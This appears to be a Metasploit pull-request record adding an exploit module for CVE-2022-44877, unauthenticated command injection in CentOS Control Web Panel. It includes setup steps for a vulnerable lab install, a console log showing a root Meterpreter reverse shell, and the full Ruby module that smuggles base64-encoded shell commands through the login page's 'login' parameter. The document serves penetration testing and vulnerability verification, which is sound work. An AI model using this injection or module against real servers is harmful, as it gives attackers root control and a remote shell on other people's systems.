Land #17511, add exploit for CVE-2022-44877 command injection in CentOS Control Web Panel
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adfoster-r7
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## Vulnerable Application
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Control Web Panel versions < 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful
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exploitation results in code execution as the root user. The results of the command are not contained
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within the HTTP response and the request will block while the command is running.
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## Verification Steps
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Example steps in this format (is also in the PR):
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1. Start with a fresh instance of CentOS 7 x64 and run the following commands, modified from the original:
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1. `yum -y install wget`
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2. `yum -y update`
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3. reboot
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4. `cd /usr/local/src`
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5. `wget https://centos-webpanel.com/cwp-el7-latest`
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6. `sed -i 's/0\.9\.8\.[0-9]\+/0.9.8.1146/g' cwp-el7-latest`
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7. `sed -i 's/^\(sh \/scripts\/update_cwp\)/# \1/g' cwp-el7-latest`
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8. `sh cwp-el7-latest`
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9. `sed -i '1i exit 0' /usr/local/cwpsrv/htdocs/resources/scripts/update_cwp`
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2. Start Metasploit
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3. Run: `control_web_panel_login_cmd_exec`
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4. Set RHOST and LHOST
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5. Run the exploit, see that a session is opened
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Check the version with `grep webpanel_version /usr/local/cwpsrv/htdocs/resources/admin/include/version.php`
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## Options
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## Scenarios
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### CWP Version 0.9.8.1146 on CentOS 7
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```
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msf6 > use exploit/linux/http/control_web_panel_login_cmd_exec
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[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
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msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set RHOSTS 192.168.159.9
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RHOSTS => 192.168.159.9
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msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set TARGET Unix\ Command
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TARGET => Unix Command
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msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
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PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
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msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set LHOST 192.168.159.128
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LHOST => 192.168.159.128
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msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > check
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[*] 192.168.159.9:2031 - The target appears to be vulnerable. Successfully tested command injection.
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msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > exploit
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[*] Started reverse TCP handler on 192.168.159.128:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target appears to be vulnerable. Successfully tested command injection.
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[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
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[*] Sending stage (24380 bytes) to 192.168.159.9
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[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.9:36154) at 2023-01-19 16:05:42 -0500
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meterpreter > getuid
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Server username: root
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meterpreter > sysinfo
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Computer : localhost.localdomain
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OS : Linux 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022
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Architecture : x64
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Meterpreter : python/linux
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meterpreter >
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/stopwatch'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'CWP login.php Unauthenticated RCE',
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'Description' => %q{
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Control Web Panel versions < 0.9.8.1147 are vulnerable to
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unauthenticated OS command injection. Successful exploitation results
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in code execution as the root user. The results of the command are not
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contained within the HTTP response and the request will block while
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the command is running.
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},
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'Author' => [
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'Spencer McIntyre', # metasploit module
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'Numan Türle' # vulnerability discovery
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],
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'References' => [
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[ 'CVE', '2022-44877' ],
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[ 'URL', 'https://github.com/numanturle/CVE-2022-44877' ],
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[ 'URL', 'https://control-webpanel.com/changelog#1674073133745-84af1b53-c121' ]
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],
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'DisclosureDate' => '2023-01-05',
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'License' => MSF_LICENSE,
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'Platform' => ['unix', 'linux'],
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'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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'Privileged' => true,
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'Targets' => [
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[
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'Unix Command',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_cmd
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}
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],
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[
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'Linux Dropper',
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{
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :linux_dropper
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}
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]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'SSL' => true
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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}
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)
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)
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register_options([
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Opt::RPORT(2031),
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OptString.new('TARGETURI', [true, 'Base path', '/login/index.php'])
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])
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end
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def check
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sleep_time = rand(5..10)
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_, elapsed_time = Rex::Stopwatch.elapsed_time do
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execute_command("sleep #{sleep_time}")
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end
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vprint_status("Elapsed time: #{elapsed_time} seconds")
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unless elapsed_time > sleep_time
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return CheckCode::Safe('Failed to test command injection.')
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end
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CheckCode::Appears('Successfully tested command injection.')
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rescue Msf::Exploit::Failed
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return CheckCode::Safe('Failed to test command injection.')
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end
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def exploit
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print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
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case target['Type']
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when :unix_cmd
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if execute_command(payload.encoded)
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print_good("Successfully executed command: #{payload.encoded}")
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end
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when :linux_dropper
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execute_cmdstager
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end
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end
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def execute_command(cmd, _opts = {})
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vprint_status("Executing command: #{cmd}")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path) + "?login=$(echo${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash)",
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'vars_post' => {
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'username' => 'root', # *must* be root
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'password' => rand_text_alphanumeric(4..16),
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'commit' => 'Login'
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}
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)
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# the command will either cause the response to timeout or return a 302
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return if res.nil?
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return if res.code == 302 && res.headers['Location'].include?('login=failed')
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fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
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end
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end
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